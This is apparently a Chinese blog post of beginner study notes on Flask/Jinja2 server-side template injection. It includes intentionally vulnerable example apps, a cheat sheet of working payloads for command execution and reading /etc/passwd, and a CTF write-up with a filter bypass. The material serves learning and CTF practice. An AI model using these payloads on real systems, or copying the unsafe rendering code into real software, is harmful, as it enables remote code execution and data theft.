SSTI(服务器端模板注入)

本篇笔记参考文章:

SSTI(模板注入)漏洞(入门篇): https://www.cnblogs.com/bmjoker/p/13508538.html
模板引擎的整理归纳: https://zhuanlan.zhihu.com/p/279198135
模板引擎总结: https://www.cnblogs.com/ywb-articles/p/10627398.html
Flask模板注入: https://blog.csdn.net/qq_45951598/article/details/110489314 "(测试环境搭建)"
Flask模板注入: https://www.cnblogs.com/NPFS/p/12764599.html "(对一些概念的理解)"
SSTI(服务器模板注入)学习: https://www.cnblogs.com/Xy--1/articles/12841941.html "(注入环境搭建)"
Python安全 | Flask-jinja2 SSTI 利用手册: https://cloud.tencent.com/developer/article/1838798 "魔术方法的利用"

初学者的个人笔记总结难免会在某些地方存在理解错误或偏差,建议同时阅读一下以上我参考过的文章,以免被我的思路误导,如果有错误的地方还请师傅们多多指正。

0x01 关于模板引擎

要学习SSTI首先我们应该了解一下什么是模板引擎,在了解这个之前我们先要了解一下MVC。

1.1 关于MVC

MVC是一种框架型模式,全名是Model View Controller。
模型(model)-视图(view)-控制器(controller)
在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术,也就是本篇文章的主角——模板引擎

1.2 什么是模板引擎

模板引擎(这里特指用于web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的Html代码。模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的html前端界面,然后反馈给浏览器,呈现在用户面前。

模板引擎的核心原理就是两个字:替换。将预先定义的标签字符替换为指定的业务数据,或者根据某种定义好的流程进行输出。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以通过沙箱逃逸技术来进行绕过。

1.3 我们为什么要用模板引擎

因为模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。我们司空见惯的模板安装卸载等概念,基本上都和模板引擎有着千丝万缕的联系。模板引擎不只是可以让你实现代码分离(业务逻辑代码和用户界面代码),也可以实现数据分离(动态数据与静态数据),还可以实现代码单元共享(代码重用),甚至是多语言、动态页面与静态页面自动均衡(SDE)等等与用户界面可能没有关系的功能。

0x02 什么是SSTI(模板注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,Java的spring等一般都采用成熟的MVC的模式,用户的输出先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接受了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模板引擎的复杂性。

凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这种机制适用于所有的模板引擎。

SSTI 存在于 MVC 模式当中的 View 层。M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层。而 SSTI 就存在于 View 视图层当中。

简单来说,模板可以理解为是一段固定好格式,并等着你来填充信息的文件,模板注入就是指将一串指令代替变量传入模板中让它执行

附表

下表是常见的一些模板引擎及其开发语言、端口、模板结构等信息,值得注意的是其中的tplmap是一款ssti注入工具,github链接:https://github.com/epinna/tplmap。

0x03 实验测试

学习SSTI最好的方式还是要通过实践去学习。

这里我使用的是Python的flask框架,flask使用jinjia2渲染引擎进行网页渲染。
当处理不得当,未进行语句过滤时,用户输入{{控制语句}}就会导致渲染出恶意代码,产生注入。

3.1 实验环境

python3.10.2 pycharm flask模块

3.2 Flask环境搭建

3.2.1 路由代码

这里引入python中一个装饰器的概念:

装饰器: 简单讲就是在一个函数内部定义另外一个函数,然后返回一个新的函数,即动态的给一个对象添加额外的职责。比如有一个函数func(a, b),它的功能是求a,b的差值,我们现在想对函数功能再装饰下,求完差值后再取绝对值,但是不能在func函数内部实现,这时候就需要装饰器函数了,比如func= decorate(func)函数,将func函数作为参数传递给decorate函数,由decorate来丰富func函数,丰富完成后再返回给func,此时func的功能就丰富了。

路由代码

from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "hello world"

if __name__ == '__main__':
	app.run()
	app.debug = True  #调试代码时加入这个,修改代码以后直接保存然后刷新网页就可以,否则每次修改都要重新						  运行程序

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,当我们去访问这个url就会执行这个函数内的内容

比如我们这样写

@app.route('/')
def test()"
	return 123

那么我们访问127.0.0.1/就会在页面上显示123。同理,我们运行起路由代码

成功执行了我们函数的内容。

此外我们还可以设置动态网址

@app.route("/hello/<username>")
def hello_user(username):
	return "user:%s"%username

根据url里的输入,动态辨别身份,此时便可以看到如下页面

3.2.2 渲染方法

render_template 用来渲染一个指定的文件(也就是以文件为模板去渲染)
render_template_string 用来渲染一个字符串(以一串字符串为模板来渲染)

render_template

我们可以使用 render_template() 方法来渲染模板。我们需要做的一切就是将模板名和我们想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('index.html', name=name)

首先,我们要搞清楚模板渲染体系,render_template函数渲染的时templates目录中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

├── app.py
└── templates
└── index.html

我们随便写一个index.html

<html>
  <head>
    <title>{{title}} - World</title>
  </head>
 <body>
      <h1>Hello, {{user}}</h1>
  </body>
</html>

里面存在两个参数需要我们进行渲染,user和title

我们在app.py中进行渲染

from flask import render_template
from flask import Flask
from flask import request

app = Flask(__name__)


@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html", title='Home', user=request.args.get("user"))
    # request.args.get: 用get获取一个参数
    # render_template: 渲染一个html文件


if __name__ == '__main__':
    app.run()

运行一下

render_template_string

SSTI与render_template_string()函数密不可分,render_template_string()函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {undefined{**}} 包裹的内容当做变量解析替换。

添加路由代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>', code=code)
		# 注意这里的模板内容,我们对code用{{}}提前进行了固定,在模板渲染之后传入数据就不存在模板注入,就像sql注入的预编译一样

执行后访问

至此,flask框架渲染的大致流程我们已经清楚了。

3.3 注入攻击测试

下面写一个简单的存在漏洞的代码

from flask import Flask, request
from jinja2 import Template

@app.route('/vul/')
def vul():
    name = request.args.get('name', 'guest')
    t = Template("hello " + name)
    return t.render()

if __name__ == '__main__':
    app.run()

我们这里没有对用户传入的参数做任何过滤和包裹,直接拼接进去然后渲染出页面

正常输入

漏洞验证

这是一个典型的SSTI漏洞例子,成因是render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。

0x04 漏洞复现

4.1 注入思路

通过Python对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块(一般是找os模块,然后利用popen去进行rce)

4.2 复现环境搭建

这里使用vulhub的一个环境,环境代码如下

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
    person = {
        'name': 'hello',
        'secret': '7d793037a0760186574b0282f2f435e7'
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    
    template = '<h2>Hello %s!</h2>' % person['name']

    return render_template_string(template, person=person)

if __name__ == "__main__":
    app.run(debug=True)

4.3 验证漏洞

访问环境

测试注入

对算式进行了计算,确认存在ssti。

4.4 进一步利用

先放一个任意命令执行的payload,后面我们慢慢进行分析和理解

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ipconfig').read()") }}{% endif %}{% endfor %}

这里首先介绍一个内建函数的概念

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数
内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射
dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些

我们可以看到__bulitins__是作为默认初始模块出现的,那么我们再使用dir()命令看看__builtins__的成分

这里我们看到很多熟悉的模块都是初始自带的,比如import、str、len等,因此python可以直接使用某些初始函数,比如直接使用len()函数。

所以说我们只要能找到一个预装模块或者类的内置方法,就可以直接使用这个方法进行攻击。

这里我们就要再提一下python的类

instance.__class__可以获取当前实例的类对象

''.__class__

这里返回的空字符串的类,也就是<type 'str'>


class.__mro__可以获取当前类对象的所有继承类

只是这时会显示出整个继承链的关系,是一个列表,object在最底层,所以在列表的最后,我们可以通过__mro__[-1]得到


__subclasses__() 继承此对象的子类,返回一个列表
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

继承自object的子类有很多,可以列举一下

后面还有,共147个。查阅时发现第143个指向os._wrap_close方法,所以我们可以用它来进行rce

os.popen()的返回值是一个类_wrap_close,需要重定向read()之后才能得到一个str

.__subclasses__()[143]

'a'.__class__.__mro__[-1].__subclasses__()[143].__init__.__globals__['popen']('ipconfig').read()

__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

python2中还可以利用file方法来进行文件的读取

.__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

现在我们对原理应该已经有了大概的理解。

所以我这里直接放一些Jinjia2引擎常用的payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

0x05 CTF真题

BUUCTF-Web-[CSCCTF 2019 Qual]FlaskLight

进入靶机

看下源码

GET方式传参search,既然是提示了flask,直接验证漏洞

?search={{7*7}}

验证成功

接下来先看看可以借助的类

先获取变量[]所属的类名

list继承的基类名

获取所有继承自object的类

返回了一个很长的列表

有一个site._Printer内置os模块,索引为71,可以尝试构造payload进行rce

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('命令').read()}}
# 这里发现对globals进行了过滤,需要使用[]和拼接来进行绕过

拿到flag。

关于本题中的绕过方法:

遇到关键字被过滤的情况,可以利用字典读取绕过,把对应的键放进方括号来访问,然后在里面去进行字符拼接

posted @ 2023-10-13 13:35  M0urn  阅读(150)  评论(0编辑  收藏  举报